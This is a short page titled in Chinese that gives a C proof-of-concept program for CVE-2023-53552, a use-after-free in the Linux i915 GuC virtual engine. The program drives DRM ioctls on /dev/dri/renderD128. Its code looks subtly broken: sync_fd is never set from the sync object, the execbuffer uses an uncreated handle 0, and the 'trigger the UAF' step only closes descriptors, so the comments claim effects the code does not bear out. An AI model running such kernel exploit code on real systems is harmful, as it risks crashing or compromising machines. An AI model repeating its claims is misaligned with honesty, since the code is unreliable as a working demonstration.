CVE-2023-53552 Linux内核i915驱动GuC虚拟引擎释放后使用漏洞

// CVE-2023-53552 PoC - i915 GuC Virtual Engine UAF // This PoC demonstrates the use-after-free vulnerability in i915 GuC virtual engine handling // Note: Requires GuC submission enabled and access to /dev/dri/renderD128 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/i915_drm.h> int main(int argc, char *argv[]) { int fd; int ret; // Step 1: Open the i915 DRM device fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open i915 device"); return 1; } // Step 2: Create a sync file to hold reference to i915_request // This allows the request reference to be held across processes int sync_fd = -1; struct drm_syncobj_create create_sync = { .handle = 1, .flags = 0 }; ret = ioctl(fd, DRM_IOCTL_SYNCOBJ_CREATE, &create_sync); if (ret < 0) { perror("Failed to create sync object"); close(fd); return 1; } // Step 3: Submit work to GuC virtual engine // The virtual engine request will be created struct drm_i915_gem_exec_object2 exec_obj = {0}; struct drm_i915_gem_execbuffer2 execbuf = {0}; exec_obj.handle = 0; exec_obj.flags = 0; execbuf.buffers_ptr = (uintptr_t)&exec_obj; execbuf.buffer_count = 1; execbuf.batch_start_offset = 0; execbuf.batch_len = 8; execbuf.flags = I915_EXEC_RENDER; // Use render engine (can be virtual) ret = ioctl(fd, DRM_IOCTL_I915_GEM_EXECBUFFER2, &execbuf); if (ret < 0) { perror("Failed to submit execbuffer"); close(fd); return 1; } // Step 4: Wait for completion and trigger fence release // The UAF occurs when fence is released and rq->engine is accessed struct drm_i915_gem_wait wait = { .bo_handle = 0, .timeout_ns = -1 }; ret = ioctl(fd, DRM_IOCTL_I915_GEM_WAIT, &wait); // Step 5: Trigger the UAF by accessing the released engine // At this point, the virtual engine may have been freed // but references still exist via sync_file close(sync_fd); close(fd); printf("PoC executed - check kernel logs for UAF detection\n"); return 0; }